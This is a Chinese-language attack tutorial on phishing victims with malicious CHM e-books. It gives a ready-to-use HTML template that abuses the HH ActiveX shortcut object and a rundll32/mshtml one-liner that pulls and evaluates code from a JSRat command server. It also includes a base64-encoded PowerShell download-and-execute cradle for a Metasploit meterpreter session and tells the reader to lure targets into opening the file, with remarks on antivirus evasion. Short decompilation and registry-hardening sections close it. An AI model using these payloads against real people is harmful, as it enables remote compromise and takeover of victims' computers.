钓鱼攻击之:CHM电子书钓鱼
钓鱼攻击之:CHM电子书钓鱼
1 CHM简介
-
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。因为使用方容便,形式多样也常被采用作为电子书的格式。而该类型的文件是可以用Windows自带的hh.exe文件来进行打开。
-
CHM支持JavaScript, VBScript, ActiveX, Java Applet, Flash, 常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持,并可以通过 URL 与 Internet 联系在一起。
-
因为使用方便,形式多样,也被采用作为电子书的格式。
2 .Chm文件因何变得危险
-
.Chm文件格式是HTML文件格式的扩展,它本来是一种用于给软件应用程序作用户手册的特殊文本格式。简单来说,HTML文件格式被压缩和重整以后,就被制成了这种二进制的.Chm扩展文件格式。通常,.Chm文件格式由压缩的HTML文件、图像、Javascript这些文件组合而成,同时,它可能还带有超链接目录、索引以及全文检索功能。
-
这些.Chm文件有着较多的用户交互,并且采用了一系列的技术。其中包含的Javascript代码自不用多说,它可以在你打开.Chm文件时,直接重定向到一个外部链接。也就是说,用户只要打开一次这类文件,里面包含的恶意代码就可能主动运行。这似乎给人一种感觉,即用户交互更少的时候,感染的机会反而更大。
3 CHM 后门的优点
- 因为电子书一般是在本地电脑域打开的,因此它所获得的权限也是本地电脑域的权限,所以比起网页木马的Internet域来,让木马获得执行的机会要简单的多,“不必使用漏洞”就可以执行!(Windows 2003除外,原因下面会说到)。
- 现在的网页木马由于影响力太大,一般的人上网都会小心三分提防的,且它依赖与漏洞,所以生存的空间正在逐渐缩小。与此相反的是电子书的火爆下载,使得电子书木马的传播能力、生存能力以及范围大大加强!
- 免网站维护,低成本
4 利用过程
4.1 准备工具
-
Payload项目地址,基于Python2编写的:Ridter/MyJSRat: This is JSRat.ps1 in Python (github.com)
-
Easy CHM下载地址:Easy CHM下载 Easy CHM(chm制作工具) 3.93 -脚本之家 (jb51.net)
-
恶意chm模板:
evil.html
<!DOCTYPE html><html><head><title>忍不住点击的标题</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value='执行程序,Payload命令'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
- 注:
执行程序,Payload命令
之间有个逗号,替换时不能少。
- 注:
4.2 制作恶意chm文件
-
生成恶意Payload,进入下载的Payload项目目录,执行以下命令:
# python2.7 MyJSRat.py -i 192.168.50.2 -p 4444 # 显示以下内容为正常运行 JSRat Server By: Evi1cg [*] Using interactive method! [*] Web Server Started on Port: 4444 [*] Awaiting Client Connection to: http://192.168.50.2:4444/connect [*] Client Command at: http://192.168.50.2:4444/wtf [*] Browser Hook Set at: http://192.168.50.2:4444/hook [-] Hit CTRL+C to Stop the Server at any time...
http://192.168.50.2:4444/connect
:默认回连地址http://192.168.50.2:4444/wtf
:访问此链接获取客户端执行代码http://192.168.50.2:4444/hook
:浏览器hook链接,适用于某些版本的IE
-
访问
http://192.168.50.2:4444/wtf
链接获取客户端执行代码rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.50.2:4444/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
-
将生成的客户端执行代码,添加进恶意chm模板中:
evil.html
<!DOCTYPE html><html><head><title>说明书</title><head></head><body> <br> <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.50.2:4444/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
-
使用Easy CHM软件,将
evil.html
打包成chm文件 -
诱使目标点开该文档,即可上线
-
使用火绒查杀试了下可以免杀,但会被windows Defender查杀
4.3 高级利用
当获取客户端JS 交互shell之后自动执行powershell命令,获取meterpreter会话。
-
开启
use exploit/multi/script/web_delivery
,得到Payload如下:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.50.2:8081/');
-
由于存在特殊字符,我们需要将代码编码为base64格式:
-
将以下代码存入tmp.txt
$n=new-object net.webclient; $n.proxy=[Net.WebRequest]::GetSystemWebProxy(); $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $n.downloadstring('http://192.168.50.2:8081/');
-
编码为Base64:
# cat tmp.txt | iconv --to-code UTF-16LE | base64 JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA=
-
-
构造成最终执行的powershell命令为:
powershell -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA=
-
使用执行命令模式直接获取meterpreter会话:
python MyJSRat.py -i 192.168.50.2 -p 4444 -c "powershell -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA="
-
5 溯源
chm是可以反编译为html的。使用windows自带的hh.exe 则可进行反编译。命令如下:
hh -decompile test *.chm
# test 为当前目录的test文件夹
6 预防
-
修改本地安全属性,使其无法在本地电脑域环境中运行木马程序,相应的注册表键值为:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
下的1004
项的值由原来的0
改为十六进制的3
-
如果你想详细修改本地电脑域的安全属性,可以把此同分支下的
Flags
项的值由原来的十六进制21
改为0
,再打开IE浏览器“Internet 选项...”中的的“安全”标签,是不是多了一个“我的电脑”图标,便可以改改它的安全级别
7 参考
写完发现已经有大佬详细分析了:高级组合技打造“完美” 捆绑后门 | Evi1cg's blog